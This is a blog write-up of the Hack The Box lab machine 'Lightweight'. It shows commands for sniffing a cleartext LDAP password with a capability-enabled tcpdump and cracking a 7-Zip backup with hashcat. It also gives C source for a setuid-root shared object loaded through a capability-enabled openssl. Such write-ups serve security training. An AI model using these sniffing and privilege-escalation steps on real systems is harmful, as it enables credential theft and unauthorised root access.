HTB: Lightweight
← Back to the log
September 19, 2026·Johnytiger

HTB: Lightweight

The site hands you an SSH account named after your own IP. tcpdump has the capabilities to sniff loopback without root, so the site’s own LDAP bind gives up a password in cleartext, and a copy of openssl carrying the setuid capability loads a shared object straight into a root shell.

securityctfwriteuphacktheboxlinuxldapprivilege escalationlinux capabilities

The Hack The Box machine card for Lightweight, rated Medium, running Linux

Running an nmap scan we see a few things here.

The nmap scan showing SSH, an Apache site titled Lightweight slider evaluation page, and OpenLDAP on port 389

A web page, LDAP and SSH. Let's start off by exploring this webpage.

The info page on the site, warning that bruteforcing the exposed services will get your IP banned for up to five minutes

We can't bruteforce directories or our IP will be banned for five minutes. Let's see what else we have at the user page.

The user page, explaining that your own IP address is automatically added as both the SSH username and password within a minute of your first request

It gives us SSH access with our IP as the username and password. Let's log in and see what we have going on.

ssh 10.10.14.211@lightweight.htb

First thing I do is get linPEAS onto the box and run it.

linPEAS listing files with capabilities, highlighting that tcpdump carries the net admin and net raw capabilities

We get tcpdump. Let's run it and see what happens. While that is running let's hit the LDAP service as anonymous and see what we can get.

ldapsearch -x -h localhost -p 389 -b "dc=lightweight,dc=htb"

The anonymous LDAP dump returning the ldapuser1 and ldapuser2 entries, each with a base64-wrapped crypt password hash

We have a few LDAP users and some encrypted passwords, but these are crypt hashes and may take way too long to crack. So let's keep working with that tcpdump we saw in linPEAS and try to get something to talk over the wire.

The trick here is that tcpdump has the capabilities to sniff traffic without root, and the site's own PHP binds to LDAP over plain 389 on loopback. If we can make the page run while we're listening, the bind credentials go past us in cleartext.

Let's search and see what we can read and if we can find any passwords.

find / -name '*.php' -readable 2>/dev/null \
  | xargs grep -l -iE 'ldap_bind|ldap_connect|password' 2>/dev/null | head

We can curl status.php while running the tcpdump.

/usr/sbin/tcpdump -i lo -A -s 0 'tcp port 389'

And then hit the curl.

curl -s "http://lightweight.htb/status.php"

The tcpdump capture on loopback, showing the LDAP bind for ldapuser2 with its password in cleartext

We get the ldapuser2 password. Alright, let's su into this user.

Reading user.txt as ldapuser2, with the flag value blurred out, alongside the backup archive in the home directory

We see the user.txt flag in that user's home and we turn it in. There is also a backup.7z file, so let's get that over to our Kali box using scp.

scp ldapuser2@lightweight.htb:/home/ldapuser2/backup.7z .

The scp attempt as ldapuser2 being refused, with permission denied for publickey, gssapi and password

We try and it doesn't allow us. That account can't log in over SSH, only su, so we have to find another way to bring this over. We copy it somewhere world readable first.

cp /home/ldapuser2/backup.7z /tmp/
chmod 644 /tmp/backup.7z

That will do the trick. Now let's bring it over with our original SSH account.

scp 10.10.14.211@lightweight.htb:/tmp/backup.7z .

Let's go ahead and crack this with 7z2john.

7z2john backup.7z > backup.hash

The 7z2john output, a hash string still carrying the backup.7z filename prefix

We had the file name at the beginning, so don't forget to trim that off before you crack it.

hashcat -m 11600 backup.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking the 7-Zip archive in mode 11600 and recovering the password

It takes a bit, but we crack it. Let's open it up and see what we have going on here. Looking into the status.php we find the ldapuser1 password.

The status.php source out of the archive, with the ldapuser1 username and password hardcoded above the LDAP bind

Let's su to ldapuser1 and see what we've got going on.

The ldapuser1 home directory holding a personal copy of the openssl binary, next to a packet capture and the LDAP TLS script

We have a couple of files. Searching openssl privesc finds us this.

A write-up by chaudhary1337 covers exactly this, abusing openssl with the setuid capability:

https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/

That copy of openssl carries the setuid capability, and openssl will happily load an arbitrary shared object as an engine. So a library that calls setuid zero in its constructor gets run as root the moment openssl loads it.

Let's see if we can get it working on the system. First we build on our Kali box.

cat > /tmp/rootme.c <<'EOF'
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void init(void) {
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", "-p", NULL);
}
EOF

gcc -shared -fPIC -nostartfiles /tmp/rootme.c -o /tmp/rootme.so

Then we push it to temp on the box.

scp /tmp/rootme.so 10.10.14.211@lightweight.htb:/tmp/rootme.so

Now we run it back on our ldapuser1 shell.

~/openssl req -engine /tmp/rootme.so

And this gives us root.

A root shell reading root.txt from the root home directory, with the flag value blurred out

This box was a little hard with easy exploits. I learned a few new things, like openssl, and how this basic chain of actions got us to the account that holds the binaries we needed for the final root. Wouldn't recommend this one to a beginner, and definitely do simple Google searches on every binary you find laying around.

End of transmissionAll posts
Drive
Johnytiger
HTB: Lightweight · Johnytiger